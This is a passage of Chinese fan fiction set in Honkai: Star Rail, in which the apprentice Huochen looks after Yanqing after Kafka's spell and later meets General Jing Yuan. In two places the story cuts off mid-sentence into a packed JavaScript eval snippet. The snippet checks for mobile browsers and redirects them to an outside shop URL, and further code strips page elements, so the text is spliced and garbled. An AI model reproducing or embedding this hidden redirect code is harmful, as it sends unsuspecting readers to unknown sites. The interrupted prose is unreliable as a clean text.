再者自在也不知道重新从蛋里孵出来没有,没看到,大概是没; 那天的伤也不知道好了多少,长生种恢复速度快到底是怎么个快法…… 于是刚骂完就开始走神。他上下打量彦卿,看到交握的手时猛地反应过来,手一抖撒开对方,缩回身后左手抓右手,省得自己又管不住爪子。 小燃:【他先抓你的欸。】 火尘:【……严肃场合,闭嘴。】 “我知道了。” 彦卿松开他,把小孩放下,小孩还不想松手,大声着急:“我以后,也想加入云骑,想像你一样……” 嚯,还是小粉丝。火尘嘀咕,怪不得见了彦卿就这么乖。 “想加入云骑?” 彦卿看上去有些意外,思索片刻,蹲下,像对暗号一样:“吾等云骑……” “当如云翳障空,卫蔽仙舟!”小孩抢答,答出来了还有些自豪。 “你知道这句话的意思吗?” “就、就是,”小孩磕巴,“云骑军要保护仙舟……” 彦卿点了下头,慢慢解释:“云翳障空,是说云骑军结阵行军时,从远处看像一整片密不透风的云彩,能为云下的仙舟挡住来自天外的威胁。” “哦——”小孩懵懵懂懂。 火尘回忆起自己获救那天,恍恍惚惚。 彦卿还没说完,说话时好像有他这辈子都不会有的耐心,即使对面是个讨嫌小鬼: “而云只是云,为保护仙舟而存在,不会在意云下人是何种类,短生还是长生、天缺还是完整,甚至,信仰丰饶还是巡猎。” “只要不背弃巡猎的道路,那么仙舟上的所有住民、游客,就都在云骑军的保护范围内。” 火尘站在一边,看那双浅浅的金色眼睛,笑时很灿烂,不笑时很冷静,让被看的人跟着他一同冷静下来。 小孩约莫六七岁年纪,听懂了,面色涨红,另外两个小孩这时凑过来喊“老大”,他也没应。 地衡司的执事赶到了,彦卿冲执事点个头,又回头看看他,那一瞬间似乎有话想说,但最终还是什么都没说,只是收回目光,御剑离开了。 21.无所事事的日子里 又是两天过去,火尘今日换成趴在工造司无所事事。 大战后仙舟上到处都需要重建,师父师姐师兄在外边这个项目那个项目地到处跑,就他留在工位当售后客服,坐久了躺久了就起来扫扫地,抢机巧的工作。 小燃在推小鱼的蛋玩,抽空搭理他:“看家也是很重要的工作啦。” 小鱼点头。这几天学校停学整修,她除了亲戚家没别的地方可去,就来火尘这里打发时间,带着她的盲文书,累了就听听机巧的声音。 大家都安静。 但火尘闲得很,一闲就免不得想东想西,现在就想起开拓者的事,问小鱼:“那三个家伙说是开拓者警告他们,你跟开拓者认识?” “嗯,”小鱼肯定,“开拓者大哥哥是很好的人,之前我被那些人欺负,就是大哥哥帮我赶走他们的,他还打倒了路上的怪物,救我出来。” 火尘回想:“工造司的孽物也是他们赶走的。”确实是一群义侠。 火尘打瞌睡时,前台阴影笼罩,他还以为是彦卿来了吓一跳,睁眼却发现是个陌生狐人姑娘。 “公输师傅在吗?” “不在,”他拨出面板登记,“我是公输师傅的弟子,你可以跟我说,我代为转告。” 狐人姑娘扫一眼桌面,小燃歪头。 【火尘,她好像在看我。】 【是吗?】 “行,也没差,”这边脑内对话两句,对面已经自己搬来凳子,随手一掏,“我来问这个。” 又是蛋,蛋壳上缀饰金玉,还有许多不认识的宝石图案,光华耀眼。 看着很贵。 这段时间见到的蛋有点多,他一下没反应过来,回神后奇怪:“找我师父问这个?” 狐人姑娘诧异:“公输师傅是工造司的守护者,你不知道吗?” 火尘:…… 他还真不知道。当初找师父盖章,师父一下子就同意了,他只以为师父也是知道这事的高层之一,没多想。 虽说一般情况下大人没有蛋,但火尘回想一下公输师傅的状态,觉得几百岁的师父有蛋也很正常——在对工造机巧的专注热忱上,师父可谓是领先师兄师姐的独一档。 “我叫锦书,”狐人姑娘指指自己,又指指蛋,“这是锦绣。” 小燃和小鱼都好奇地凑过来看,火尘也瞅两眼,被镶钻的蛋壳晃了眼,抬头“嗯”一声,就等着对面继续说。 锦书拧眉闭眼,指节在桌面轻敲,似乎没想好怎么说。 “我确认一遍,你是守护者吧?” “是,不过我是长乐天的守护者,而且是新人。” “那也没差啦,”对面似乎也没多在意这些,没话找话一样,“你对心灵之蛋了解多少?” “理想中的自己,孩童愿望的具现化。”其实孩童范围已经不够了,应该改成少年儿童,但他想起师父,觉得实在不好改,还是算了。 看不出来对这个答案是否满意,对面依然眉头紧锁:“知道这些也差不多了。” 火尘眉头一跳:又是差不多? 这么多“差不多”下来,最后终于说出了不能用“差不多”解决的事,姑娘捂头往桌上一趴,声音闷闷的: “我的蛋闭拢了,守护甜心完全不回应我。” * 彦卿在练剑。 将军还在丹鼎司接受治疗,神策府后院静悄悄的,风一卷,金黄的银杏叶簌簌落下,一两片落到他头上,又在下一次挥剑时被振落。将军养的小雀在银杏叶间蹦跳,全无烦恼,同往常一般。 一万次斩击完成,还有一万次刺击。彦卿中场休息,给小雀喂食,打扫咪咪的空兽栏,打扫院子。 今日风大,银杏叶一直落个没完,他扫了两遍,看起来跟没扫一样,最后只得拄着扫把抬头,在悠哉游哉旋转飞舞的叶片里和树大眼瞪小眼,有些泄气。 算了,练剑吧。 刺击一万下,彦卿在后半场开始感到疲倦,剑身雪亮,配合人造日光晃得他眼睛疼,额上的汗流到眼睛边,带起一阵刺痛。 可他就是不肯放下剑,汗也不抹,机械动作中,想起自己当时也是刺击,斩开了寒光凛凛的残月。 时不时的,他会在梦里回望那个人登峰造极的剑技,回忆那令人遍体生寒的杀意,从险些送命的后怕中醒来,看见床头闭拢的心灵之蛋,在月光下显得那样安静。 彦卿明白,很多事情他都明白。 常言“慧极必伤”,但他还未曾因过分聪慧受过伤。 剑法好理解,看一遍就会;大人的想法好理解,略加思考即可。优秀的理解力和共情力从来都是他的助益,因为知道太多而感到受伤……怎么会有这样的事呢? 而那一剑后,他受伤了,拖着伤口,看到了更广大也更残忍的世界。 打不过。 刺出的那一剑,已经费尽他所有力气;而那个人不过轻轻一挥,显然犹有余力。 所以,要放弃吗? 彦卿咬牙,继续刺击。 * 火尘后知后觉发现,对面好像是个富二代。 名叫“锦书”的狐人少女和她的蛋一样满身金玉,只是费了些小巧思,不至于太显眼。 “我娘让我挑一个接手,我挑了首饰铺,”锦书摊手,“因为店面比较小,好搞,而且我喜欢首饰。” 狐人族的商人世家传统,火尘有所耳闻,在儿女成年前让出一间商铺让其自主经营,自负盈亏,父母绝不过问。不少精明的狐族商人都是这样锻炼出来的。 “嗯。” 火尘点头,示意她继续往下说。 “我经营了几个月,也算有那么些营收了吧。” “前两天那场大战里,死了不少狐族人,天舶司预备集中召开慰灵奠仪,地点就在星槎海。” “我打算把可支配的营收额捐出去。” 了不得的善举。火尘有些惊讶,惊讶之外更加疑惑:“这跟你的蛋闭拢有什么关系?” 锦书抿嘴,似是难以启齿,最后还是破罐破摔: “我离家的时候跟家里大吵一架,打定主意不赚到能让他们正眼瞧我的数额就不回去。” “可是最近大战,人心惶惶的,父母亲担心我,让我回家;我也很想见他们……” 火尘看对面说到这里开始烦躁抓头发,稍微理了理:“总之就是两种情况?” “捐款,没钱见人,不回家;不捐款,有钱见人,回家。” 锦书睁大眼睛:“这都能懂?” 火尘摊手:“可我还是不知道跟你的蛋闭拢有什么关系。” “我也不知道啊,”锦书哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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富二代首饰铺老板重新变回灿灿亮亮的样子,至少外表上,回到柜台边捧起自己的蛋,又开始叹气: “说到底还是我不好。” 火尘:“你越这样大概越孵不出来。” 锦书幽幽道:“不要提醒我。” 气氛松了,对面看着也要打道回府了,火尘顺口:“你不捐就用不着纠结这些了。” “不行!要捐!”态度很坚决。 “那你捐了钱,不回家?” “不行!我想回家!”同样很坚决。 那你还是自己决定吧。火尘闭嘴了。 锦书离开工造司后,周围一下子变得很安静。 小鱼轻轻拉他衣袖,火尘低头。 陌生人在场时,她总是不爱开口,现在分明是有话要说: “蛋孵不出来,也是因为不够相信吗?” 火尘看向小鱼的蛋,蛋壳纯白,图案是一圈一圈的,小一圈的像水滴入池时荡开的涟漪,大一圈的像鱼儿在水中游动时搅开的水花。 现在想起来,小鱼的蛋跟他的蛋差不多是同一时间显形。 小燃:【我很早就出现了啊。】 火尘:【可你后来又回去了。】 “不一定。”迷茫、犹豫、焦虑,什么都可能。 他问:“小鱼想过自己的理想是什么吗?” 小鱼沉默,没说想过、没想过、是什么,而是嗫嚅着,问起了另一件事: “丹枢大人,是坏人吗?” 火尘微怔,对上小鱼单纯又无神的眼睛,一时不知道该怎么说。 22.没事找事的日子里 他不打算瞒小鱼,但是能说什么,不能说什么,说多少,这需要仔细考量。 “开拓者大哥哥,人很好,他跟我说,丹枢大人在闭关。” “我在姑妈家听到新闻里说,丹枢大人是坏人的首领。” “他们也是这么说的,说丹枢大人是坏人,一顿吃四五个小孩。” 火尘了然,“他们”应该是指经常欺负小鱼的那几个小孩。 如此看来,莫说隐瞒多少,只要小鱼还生活在仙舟,就根本不可能瞒得住——药王秘传在接下来很长一段时间里,大概都会作为反面案例出现在各种宣传场合。 “我知道的也没比你多多少。”除了在工造司后门碰到丹枢差点丢了命,不过这个倒没必要告诉小鱼。 “丹枢大人做了错事,是坏人的首领,”他肯定了小鱼的说法,“现在已经不在了。” 小鱼是个安静的孩子,没有问错事是什么,不在了是什么意思,只是安静了好一会儿,仰头问: “丹枢大人做那些事的时候,在想什么呢?” 似乎不是在问他。火尘跟着仰头,看工造司的人造天幕:“……不知道。” 坐到快中午时,小鱼提前告辞回亲戚那儿去吃饭,亲戚要她到点就自己回来,不然每回吃饭还要寻她也麻烦。小鱼记住了。 “我送你?”火尘起身。 小鱼望着他摇头:“小鱼经常来,记得路。” 不是记不记得的问题。 小燃左右瞅瞅,飘到小朋友脑袋边:“那我送就好了嘛。” 这下大家都满意。 两个小家伙离开后,前厅这一整块地方真就只剩火尘一个了,安静得吓人。 火尘窝躺椅上给自己点外卖,点完给自己找事做,去大门口折腾守门的金人。 公输师傅的宝贝金人在建木生长时折损颇多,坏掉的都堆在门口等待修理,乍一看去还挺壮观。 火尘还记得金人启动的样子,现在也不敢走太近,站在远处开始翻书,想要看看实际结构就走近些,理解得还算顺畅: “倒也没有想象的复杂……” 实际操作大概得等有专业人士在场才行,火尘坐旁边看两个操作视频,不一会儿外卖就到了; 回去吃饭吃到一半,天下起雨来,他又急急忙忙跑出去遮好金人、把一些露天放置的机巧移到屋里,再回来继续吃。 好忙好忙,虽然不知道在忙些什么。 火尘抱着碗坐到门口看雨,正看见小燃悠哉游哉飘回来。 “怎么样?” “小鱼到家啦,一滴雨都没有淋到哦!”守护甜心像小狗一样甩脑袋,甩他一身水,再自豪比出“1”的手势。 好傻。 “你跟我真是完全不像。”火尘放下碗,翻出毛巾给人团吧团吧擦干净。 “不像很正常,像也很正常,呸呸呸,”毛巾擦嘴里了,小燃在毛巾堆里艰难探出身子,“反正我是你的理想。” 火尘不置可否。 罗浮的天气都是人工调控,工造司因为有不少露天设备,降雨通常只为保持空气湿度,不至于下太久。真要说起来,火尘不遮那些设施也没关系,就当他是闲的。 雨水打到门槛上了,他挪回前台,最开始的位置。 “你们会感冒吗?” “放心好了,你感冒了我都不会感冒,”小燃在拿玩具勺喝他的汤,想起来,“不过你抑郁了我倒是可能生病。” 火尘理解,毕竟叫心灵之蛋。 人闲得无聊,就开始打瞌睡,半梦半醒的,就开始回忆过去了: “你对我的家乡有印象吗?” 小燃想想:“我只记得它火光冲天的样子。”那时它还是一个蛋,因为主人想要活下去的愿望短暂显形了,就只看到那么一点。 “你是想问它以前的样子吧,我没有见过呢。” 火尘“嗯”一声,困倦得更明显:“我们那里经常下雨。” 小燃很耐心:“跟现在一样?” “……嗯。” 可最后一整个星球都死在火里了。 火尘盯着雨看,慢慢的分不清自己是睡着还是醒着,回想起苍翠的山,山间的雨,自己在山里跑、跳、爬,身体比现在好得多,可以找到很多山货带回去、回去…… “火尘?” “哎!火尘!” 有人推他,他惊醒,眼前朦朦胧胧的,一下子没反应过来对面是谁。 “是我啊!不认得了?” 视野清晰了,他看清是和他一起被接引来罗浮的同乡之一,点头:“认得,睡迷糊了。” 起来清醒清醒脑子,听同乡笑:“工造司这么好待啊,睡大觉也没人管,我都想进来试试了。” “你来呗,考进来拜个师,”火尘端水喝,小燃在同乡面前转了一圈,对面没反应,似乎是看不见,“我师父就很好,人好,徒弟也多,除了考核一般不管你。” “算啦,我还是喜欢卖点小玩意儿赚钱花。” 两人寒暄一阵,对方说起正题: “你最近打算离开罗浮吗?” “没啊,”他莫名,“为什么这么问?” 同乡舒一口气:“我也没,还不是那边一群人,闹得人心惶惶。” “最近罗浮不是打仗嘛,很多游客觉得不安全,封锁结束后就急急忙忙返程了。” 这个正常,火尘点头。 “结果仗一打完,什么妖魔鬼怪都出来了,我今天在长乐天,还看见一伙人跟地衡司抗议,说要在建木周围砌墙以防不测,”同乡吐槽,“拜托,那棵树都在海里了。” “欸。”有点好笑。 “还有大街上管我卖保健品的,说是为了预防魔阴……”同乡咂吧嘴,“我这辈子都赚不到他开的那个价。” 火尘乐了。 “总之就是各种乱七八糟的,跟我们一批来的人里,已经有觉得罗浮不安全要跑路的了,人还不少,所以我才来问你……” “哦。” 火尘除了两头上班,没什么事基本不出门,完美避开了所有糟心事,现在听人吐槽这个倒也新鲜,有一句应一句,只是转头时一瞥…… ! 他猛地站起! “火尘?” 同乡扭头,顺着他视线看,那里空无一人,又回过头,“咋了?” 火尘眨眨眼睛,坐回去:“没事。” 其实有事,他看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331661|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦卿了。 虽然只瞥见一眼,好像还是人临走时那一眼,但大概率就是彦卿没有错,浅蓝深蓝粉紫,裁成燕尾的衣摆和飘带,还有长命锁。 同乡继续说,他心思已经飞了。 彦卿来了又走,连招呼都没跟他打一声。 可恶啊。火尘酸酸的。 这个人装可怜一套一套的,真要他给点什么反应了,又冷淡得像是变了个人,一句话都问不出来。 不过转念一想,可能彦卿单纯是太忙,接到任务就走了,才没来得及跟他打招呼。 他怀疑自己被pua了。 小燃:【人家啥也没干吧。】 火尘:【不听不听不听!】 “哎,火尘,所以你走吗?” “不是已经说过了吗,我不走,我懒得动。” 如果同乡仔细听听,就能听出这人明显变差的语气,但同乡听不出来,哈哈笑:“我也不走,哈哈!” 哈你个头啊。 火尘要开始迁怒了,迁怒同乡迁怒小燃迁怒桌椅板凳…… 小燃:【想靠打架斗殴让彦卿来抓你吗?那很有创意了。】 火尘:【……】 “仙舟联盟也好,路过的短生种宜居星球也好,挑个自己喜欢的地儿窝下来就好了,”同乡浑然不觉,“毕竟人不是老了才会死的,人是随时会死的,这个宇宙就是有这么危险。” 火尘愣住,一把火也给浇没了,低头笑笑:“是啊。” 人是随时会死的。 所以这次火尘决定跟从自己的直觉,坐立不安到了下班时间,抓起彦卿送的短剑就去太卜司找青雀。 彦卿离开时的侧影跟那时候太像了,给他同样的不安心感。 那时彦卿接完白发剑士那一剑,孤身前往丹鼎司,他就有这么不安心,结果在重新相见时一一应验:自在闭拢了,彦卿带伤清理孽物忙得团团转,到现在都没跟他提过发生了什么。 跟别人提过了吗?大概也没有。 上次没跟上去,这次他说什么都要跟上去。 青雀对他的决心表示赞许,并且推回了他那把短剑。 “算算去向而已,用不着开穹观阵。” 火尘知道太卜司的大衍穹观阵是一台巨型计算机,能够从相关联的事物里分析出大量信息,所以才带来这短剑——翻来翻去,他身上跟彦卿有关的东西,也就这一样而已。 火尘收起剑,说不上哪里郁闷。 卜者懒洋洋掏出几块琼玉牌,在卜算时终于现出几分认真模样,为火尘指明方向后,端起茶杯喝口水,苦哈哈的表情属实难得一见。 看来太卜司最近也很忙。 火尘道谢,循着方向离开,心里想。 那么多地方需要重修,工造司很忙;那么多人要离开罗浮,天舶司排查关口,很忙;太卜司需要测算数据,很忙;地衡司快忙疯了;丹鼎司是主战场,要重建,要治疗伤员,很忙;云骑军…… 他到了。 看见彦卿持剑半跪在地,而救了仙舟的大英雄开拓者、和四方览镜上天天轮换画像的两个通缉犯站在一起,他一下子理解不了这场面,只盯着彦卿想: 云骑军自然也是很忙的。 23.可恶的家伙 不能理解和是否生气是两回事。 两个通缉犯的悬赏数额都大得可以吓死他,火尘平日路过四方览镜,闲着没事还去数有多少个零,数出来又忘记了。 这是他初次操作金人,上午刚看的图谱和视频讲解,在两个通缉犯和不知底细的开拓者眼皮子底下,慌得脑子都在发抖,把人捞起就跑。 彦卿被金人一手攥着跑,脑子迷糊一下没反应过来,仰头看见熟悉的人,又惊又喜: “火尘!让我回去!开拓者被卡芙卡的言灵蛊惑了,我得去帮他!” 金人依言停下了,火尘低头看他,神情复杂: “中言灵的不是他,是你。” “可是……” 彦卿想说可是开拓者是和将军一同拯救仙舟的大英雄,是将军吩咐要好好对待的座上宾,不能让他在罗浮出事。 话要出口时却发现自己组织不好语言,卡壳,抬头看火尘,却发现他在哭。 “火尘?” 火尘扭头,依他的话操作金人原路返回,但不看他,也不跟他说话。 彦卿一阵心慌,脑子发懵,也不知道是不是看错。 到地方了,周围没有人,他们往返不超过十分钟,开拓者、星核猎手都不在。 彦卿跳下来观察四周,火尘站到金人手心,后他一步慢慢落地,他小心观瞧,那几滴眼泪已经找不见了,像是幻觉。 “看什么?”对面问他。 彦卿急忙收回视线,脚步踉跄一下,努力把注意力集中到眼前的事件上: 开拓者不在——可以联系列车组的其他人,确认他是否安全; 通缉犯不在——应该让各洞天守卫注意通缉犯逃窜的动向,我也在附近搜索,兴许人还没走远。 他有点头晕,想起上回在祈龙坛上将军直接放通缉犯走了,他还不清楚为什么。是通缉犯对罗浮没有恶意?还是将军有其他安排?开拓者跟通缉犯又是什么关系…… 越想越晕。 他预备再走远些看看,被火尘拽住,猛地想起来这里还有个普通人,回头: “火尘……” 多谢你帮忙。他们保不齐还会再回来,我先送你到卜者聚集的地方去? 是这样想的,但却说不清楚,真奇怪。 火尘不说话,只拽着他。 言灵的效果一阵一阵的,他感觉脑子很晕,但强撑着问:“你怎么了?” “我送你去丹鼎司。” 小伤而已。 彦卿摇头,更晕了。 “那我送你回神策府。” 彦卿顿住,又摇头:“通缉犯……将军?” 通缉犯尚在罗浮逃窜,不抓回来如何向将军复命? “你是不是忘了,”对面提醒他,“将军尚且伤重在丹鼎司。” 他想起来,有些无措:“对、对哦。” 火尘静静注视着晃晃悠悠的家伙。 彦卿大概还没自觉,并不是火尘拽着他,而是他站不稳只得抓着火尘,说话简直像说梦话一般飘忽。 刚才编辑传给云骑的信息也是错漏百出,火尘挡了一下界面才没让他真的发出去。 “我送你回神策府。” 彦卿迷糊着,还是摇头。 火尘咬牙:这个犟种。 你不听我的,那我也不听你的。 “回神策府,我背你回去。” 彦卿继续摇头。 他不管彦卿摇头,直接就要去背,伸手扒拉,拉不动。 骁卫大人受言灵影响脑子不好使,一身力气却还在,跟两岁小孩被抱久了要下地走一样耍赖皮,在他身后使劲儿挣扎,拽得他也踉跄,自己又站不稳,两个人歪七扭八倒作一团。 火尘气笑了。 彦卿扶墙,慢吞吞站起来,又伸手来扶他,看起来还是很无辜,一边无辜一边很会看脸色地小声退让,从“不回神策府”退到:“我自己可以走。” 火尘起来,搀过摇来晃去还没点数要来扶他的人,阴阳怪气: “对,你可以走,走两步倒地睡一觉,睡到天黑再爬起来,总有一天可以走到。” 彦卿露出在思考的表情,然后认真:“对。” 对你个头啊对。 “上不上来?”火尘语带威胁。 彦卿继续摇头。 “不上来就哭给你看。” 这招居然出奇的有用。彦卿听到“哭”,一下子睁大眼,慌里慌张地就伸手过来捂,手指险些戳到他眼睛上。 火尘被对面这么大反应弄得一懵,偏头躲两下,攥住那只手。 对面人都站不稳要靠着他了,却记得自己还有一只手,凑过来摸了摸他左眼上眼皮。 火尘安静了,剩一只眼睛没被捂,盯着人瞧。 “……好吧,”犟种屈服以后,说话像小朋友拉钩,“我听你的就是了,你不要哭哦。” 火尘敛眸,松开手,转而抱住身前的人。 他想起工造司中午那场雨,和自己下雨时做的梦。太卜司没有雨,这很好; 彦卿是他此生见过世界第一的好孩子,会珍视普通朋友的眼泪,也很好; 过去也有人这样珍视他的眼泪,父母亲、乡邻、过路人,大家都很好,不过都死了。 有人说那是天灾,那是毁灭星神,又有说那是绝灭大君,还有说那连大君都不是,只是毁灭的走卒。 反正他的家乡已经毁了,他索性一起恨。恨了一大堆,报复的能力却为零。 毁灭毁灭毁灭,没有缺憾的东西本来就少,到底有什么好毁的? 他要活下去。如果毁灭表现为突然降临的灾厄,那平静安宁的日常就是毁灭的反面。所以他要活下去,而且要活得很好,以此来消解自己的恨意和无能为力。 而面前这个人呢? 他不明白为什么彦卿老是碰上这种事情,碰上之后还一副没什么要紧的样子。 到底知不知道自己死了会有多少人伤心? 他偏过头,靠在彦卿肩膀上,好让对方看不到自己正脸,一边说话一边抖: “我其实,根本就不想原谅任何人。” “所有伤害过你的,不管有什么理由、什么大局,在我看来都非常可恶。” 啊,对,一看就很厉害的白发剑客、一看就很吓人的通缉犯、一看就很正义不知道怎么站到对面去了的开拓者、还有丹鼎司海上的不知道谁…… “你还要原谅他们,还要尊敬他们,就更可恶了。” “彦卿,”他气哭了,恨不得照人身上咬一口,“你这个可恶的家伙。” 这处小院在太卜司角落,无人经过,院内空空荡荡,只角落放了个书架和筒子,几个纸卷轴插在筒里,一丛竹子从筒边长出来,金人坐在竹子边,安静等候指令。 火尘靠着彦卿肩头发呆流眼泪,视野正对着这些东西,回神才看见彦卿衣服上因为打斗沾的飞灰,刚才到现在都没顾上拍,不知道自己在干什么。 明明是来帮忙的,变成缩在别人怀里边哭边叽歪,算什么事啊。 他暗骂自己矫情,预备拍完灰就背人走,却感受到彦卿抬手环住他,轻轻拍了拍他的背。 “彦卿?” 他以为彦卿清醒了,想推开人看个仔细,却听见细微的叹气声。 彦卿说话了,像是梦呓,哄他入睡,哄他落入一场柔软春日的幻梦里: “不哭哦,不哭啦。” 火尘默然,头埋进彦卿颈窝猛吸一大口。 他又想哭了。 * 彦卿受言灵影响,处于一种半梦半醒的状态,说话有点前言不搭后语。 被人背着走,要探过手来,轻轻给人抹眼泪,又问重不重、硌不硌,像是没话找话。他说长命锁有点硌, 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照理,见到彦卿的熟人,他该把人交过去才是,但火尘背了这么一路,一下子有点不想撒手。 也不知道对面是不是看出来了,看清彦卿身体并无大碍,面色稍霁,开口: “你进去吧,彦卿房间往这个方向走就是。” 啊? “哦、哦。” 他懵着脑袋往前走,还在纠结“神策府原来是这么好进的地方吗”,就看到了更让人发懵的: “将军?” 他在新闻里见过将军,那头白发很好认,蓬松程度让人想起白毛大狮子。 将军似乎正在散步,听到声音转过身来,正要习惯性露出笑容,看清他背上人模样后,眼神一凝: “彦卿?” 他吓死了,不敢动。 身边的策士小姐上前,几句话就交代完,将军点头表示了解,效率高得吓人。 火尘咂舌,他之前还在琢磨要不等彦卿醒了再说,现在才知道人家扫两眼就看清楚全状了,都用不着他说。 “此间事已毕,他们想来也没有在罗浮逗留的理由了,”将军思索片刻,“青镞,传令取消对星核猎手的抓捕任务。” “好,”青镞点头,问,“通缉令呢?” “暂时不撤,星核猎手纵使不对罗浮出手,也是星际罪犯,让大家提防着这两张脸,总不至于错。” “是。” 大人物议事,火尘老实闭嘴,退后一步把彦卿放到旁边躺椅上,起身时小腿被拍了一下。他低头,白露正挑眉冲他甩尾巴。 “伤势不重,脑部的言灵当是星核猎手的手笔,身上有不少球棒击打的痕迹,不过按彦卿的恢复力半日就可痊愈,”白露观察一阵,做出结论,“待言灵的效果散去,他应该就能自然醒来了。” 在初次踏足的地方见到两个初次见面的大人物说正事,白露的出现委实让人安心不少,说出的话就更让人安心了,火尘松一口气。 他听到有人跟他一样松了一口气,扭头一看,往后踉跄两步,站稳:“工造司学徒火尘,见过神策将军。” 将军哭笑不得:“不必拘谨。” 火尘还是拘谨,不知道看哪儿,就看向睡着的彦卿。 将军也看过去,片刻后,叹气:“是我不好,怪我没交代清楚。” 火尘犹豫片刻,脑子里闪过战后见到的各种场合的彦卿,斩杀孽物、发呆发愁、闭口不言。 最后还是忍不住开口:“比起听您自责,彦卿应该更想知道这次行动的始末。” 将军转头看他。 他闭嘴,又默默往门口移:“是我、晚辈僭越了。” “没有,”将军对他笑笑,低头看回彦卿,“你说得对。” 24.解释 彦卿在做梦。 星槎海的阳光千年不变的好,年幼的他赤脚淌水,在浅水区踩水玩,一身银铃铛和着水声欢快地响。 “彦卿!来抓我呀!” 小小的自在打着圈飞在空中,细细的飞剑也打着圈飞在空中,他一蹦一跳过去抓,都不知道抓哪个好,乐得直笑,笑声惊动枝头的飞鸟。 那时正是仙舟模拟的初春时节,柳树绕堤,池水的冰尚未完全化开,脚凉凉的。但阳光落在水面上波光粼粼,看顾他的人站在不远处树荫下,笑声很轻很温柔: “小心,莫要滑倒了。” “嗯!” 很温暖。 他就是在那样温暖的世界里学会了使剑、学会了凝冰,然后献礼一样表演给爱着他的人们看,感受不同的手伸过来摸他的脑袋,夸他好乖好乖,一边惊叹他令人艳羡的才华。 他在赞叹声中长大了。 梦境过分真实,彦卿睁眼时还一阵恍惚。 直到有人叫他的名字:“彦卿?” 这段时间总是有很多人叫他名字,但这声音……? “将军!”他一下坐起,瞪大眼睛,看见坐在对面床上跟他笑眯眯打招呼的人,忍不住又怀疑起来,“将军?” 难道他还在做梦不成? 彦卿打量一圈四周,确实是自己的房间,翻身下床,走到将军床边,才发现这比起说是床,不如说是不知哪儿搬来的矮榻。 将军人高马大的个子,缩在榻上显得委屈巴拉的,手腕还缠着绷带。 然而这无损将军的威仪,白发将军盘腿坐在榻上,像打坐的老道,静静注视他,开口:“彦卿,你受伤了。” 他下意识低头:“碰到了棘手的孽物……” 将军话音轻飘飘:“我昏迷一阵子,罗浮上的普通孽物都能伤到你了?看来退步不小,想来训练亦有懈怠……” “彦卿没有!” 他慌忙抬头想要辩解,才发现将军的眼睛是笑着的,一下又委屈起来:“将军,你诈我。” 将军笑眯眼:“兵不厌诈~” “彦卿不是也想骗我来着?我们扯平了,这下总该说说,自己到底碰上什么了吧。” 彦卿思考片刻,按照任务汇报的习惯,将自己收到的云骑接连折戟的战报、和后续受言灵影响与开拓者敌对的情况都如实告知,看到将军并未变化的神色。 “将军已经猜到了?” “一个用言灵,一个挥球棒,”景元摊手,“线索都留在你身上了,很好猜不是吗?” “我只是想听你说而已。” 彦卿有许多疑惑,但目前最大的疑惑是:“将军,开拓者和星核猎手之间的联系,会影响到我们同他交好吗?” 这确是最关键的问题。将军目露赞许:“不会。” “不久后,列车组的各位也会来参加慰灵奠仪,而在这之后他们就要再度启程。” “我预备在他们启程前,送出结盟玉兆。” 结盟玉兆! 彦卿猛地直起腰板。 “金石可铄,盟誓不破。彦卿了解他们有多重要了?” 了解了。彦卿迅速点头:“彦卿,不会再与诸位开拓者起冲突,对此事也不再追根究底。” “那倒不必,能讲清楚的还是讲清楚。” 将军慢慢说:“我询问开拓者,明日能否替我来陪你训练,他同意了,到时彦卿想问什么,直接问就好。” 直接问吗?彦卿现在知道对方是仙舟的预备盟友了,有些忐忑。 将军笑他:“你不是一向不耐烦兜圈子?对面也是爽快人,好好说开了,比一直搁在心里强。” “彦卿明白了。” 他琢磨着明日要说的话,后知后觉想起来问: “将军,您怎么会在彦卿房间呢?” “您的伤势已然好全了?如果没有,现在为什么不在丹鼎司?” “嘘——”将军老神在在,不回答,只暗示他小声点,“我们现在是‘病友’啊,彦卿。” ? 他的疑惑很快得到了解答。门外传来白露的喊声:“将军——将军——您该回丹鼎司了——” 走过来:“说好只是回来看看的——不能说话不算话啊——” 走过去:“您的伤势还要观察一阵子,不能乱跑啊——” 最后停在门口念叨:“怎么大人捉迷藏的功底,比小孩子还高那么多呢……” 彦卿听不下去了,闪身拉门一气呵成,速度快得景元都抓不住: “将军在这里。” 门外,白露和随行的策士云骑一同探头,只看了个影儿,门就被彦卿重新关上了。 单独一个进来的白露仰头看他,彦卿解释:“让太多人看到,有损将军威仪。” 白露转头,看向坐在床上心虚移开视线的大人,点头赞同。 白露坐到榻边诊脉,彦卿站在门边接过外面人准备的衣物——将军只带了他的甲胄,青镞她们倒是准备了适合伤员活动的宽松衣服。 靠谱的小孩组开始行动了,景元为自己辩白:“其实我是有话要跟彦卿说,才在这里等着的。” 他的好徒弟皱起眉头:“那些话您在丹鼎司说也是一样的,只消玉兆上知会彦卿一声就是。” 好像他多不懂事一样:“该休息的时候好好休息才是要紧,莫要拿身体开玩笑。” 景元:……我记得我才是师父? 算了不重要。 外边又在敲门,茶水点心果盘一样一样递进来,彦卿手占满了,就叫上飞剑帮自己端。细细的锐器跟果盘很不搭,但还是稳稳当当一盘不落。 将军转眼又笑眯眯:“我们彦卿真厉害。” “谢将军夸奖。”彦卿应了话,声音听不出起伏,人也没过来,坐在桌边顺手抄起水果刀转了个花式,就开始给果子削皮。 “哇哦。”白露喜欢刚才刀转那一下,诊完脉就凑过去看彦卿削皮。 “白露大人,将军状况如何?” “一切正常,幸好没被他又多折腾出什么,只是回丹鼎司休养还是免不了的。” 景元默默穿衣,默默注视这两人互动,突然想起: 不是来看我的吗? 怎么两个人都离我这么远? 罢了,都是小事情。接下来要说的才是大事情。 他很矜持地等到彦卿过来递果盘,才开口:“说回卡芙卡的言灵,此前祈龙坛一遭,让你很混乱吧。” 彦卿手一顿。 